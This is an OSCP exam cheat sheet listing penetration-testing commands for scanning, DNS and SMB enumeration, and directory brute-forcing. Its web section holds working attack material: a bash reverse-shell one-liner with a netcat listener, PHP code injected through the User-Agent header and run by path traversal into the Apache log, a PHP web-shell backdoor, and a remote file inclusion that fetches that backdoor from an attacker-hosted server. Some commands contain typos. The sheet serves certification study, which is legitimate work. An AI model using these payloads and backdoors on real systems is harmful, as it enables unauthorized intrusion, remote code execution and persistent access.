This cheat sheet provides a collection of useful commands for the OSCP certification exam.
// Stealth scanning
sudo nmap -sS <target>
// Full TCP connection is made
nmap -sT <target>
// UDP scan
nmap -sU <target>
// Network sweeping
nmap -sn 192.168.100.1-253 -oG sweep.txt
grep Up sweep.txt | cut d " " -f 2
nmap -p 80 -sn 192.168.100.1-253 -oG web-sweep.txt
grep open web-sweep.txt | cut d " " -f 2
// OS scan
nmap -O <target> --osscan-guess
// Scan with NSE script-A: OS version detection, script scanning, and traceroute
nmap --script http-headers <target>
nmap --script-help http-headers
nc -nvv -w 1 -z <target> <port-range>-w: set the connection timeout in seconds
// UDP Scan-u: UDP scan
nc -nv -u -z -w 1 <target>
// Port scan
Test-NetConnection -Port 445 <target>
// Port sweeping
foreach ($port in 1..1024) {if (($a=Test-Connection <target&rt; -Port $port -WarningAction SilentlyCongiue).tcp TestSucceeded -eq $true){"TCP port $port is open"}}
host <target-domain>Common query types:
host -t <query type> <target-domain>
// list.txt contains a candidate list of subdomains
for ip in $(cat list.txt); do host $ip.example.com; done
// Search by IP addr
for ip in $(seq 200 245); do host 52.10.10.$ip; done | grep -v "not found"
dnsrecon -d <target-domain> -t stdlist.txt: possily contains a list of candidate subdomain names such as www, ftp, mail, proxy, etc.
dnsrecon -d <target-domain> -D ~/list.txt -t brt
dnsenum <target-domain>
nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254
cat smb.txt
// Using NSE script
ls -l /usr/share/nmap/scripts/smb*
nmap -v -p 139,445 --script smb-os-discovery 192.168.50.132
// Specific to identifying NetBIOS informationOn Windows, enumerate SMB shares within the environment:
sudo nbtscan -r 192.168.50.0/24
net view \\<hostname> /allIt lists all the shares running on the hostname.
enum4linux -a <target>
smbclient -L <target> -U username
// NSE script with "vuln"Using specific CVE NSE Script
sudo nmap -sV -p 443 --script "vuln" 192.168.100.2
sudo nmap --script-updatedb
sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" 192.168.100.2
nc -nvlp 4444
// Bash shell
bash -i >& /dev/tcp//4444 0>&1
// Bourne Shell
bash -c "bash -i >& /dev/tcp//4444 0>&1"
curl -d '{"username":"admin","password":"fake"}' -H 'Content-Type:application/json' http://192.168.50.132:80/users/v1/login
curl -X 'PUT' ...
sudo nmap -p 80 -sV <target>
sudo nmap -p 80 --script=http-enum <target>
gobuster dir -u <target> -w /usr/share/wordlists/dirb/common.txt -t <# of threads>Default threads created are 10. May reduce the number to reduce the traffics being produced.
// Prepare a pattern file
cat pattern
{GOBUSTER}\v1
{GOBUSTER}\v2
gobuster dir -u http://192.168.50.132:80 -w /usr/share/wordlists/dirb/big.txt -p pattern
// Assuming /users/v1 is discovered
curl -i http://192.168.50.132:80/users/v1
// Further enumerate if applicable
gobuster dir -u http://192.168.50.132:80/users/v1/<username>/ -w /usr/share/wordlists/dirb/small.txt
< > ' " { } ;
// e.g. Modifying User Agent
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
// Execute the command recorded in the log
curl -i http://192.168.50.132:50/index.php?page=../../../../../../../var/log/apache2/access.log&cmd=ls%20-al
php://filter
data://
// Sample code (sample-backdoor.php)
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd=($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
// Run web server
python3 -m http.server 80
// Exploit
curl "http://192.168.50.132:80/index.php?page=http:///sample-backdoor.php&cmd=ls"
./linpeas.sh
find / -perm -4000 2>/dev/null
netstat -tulpn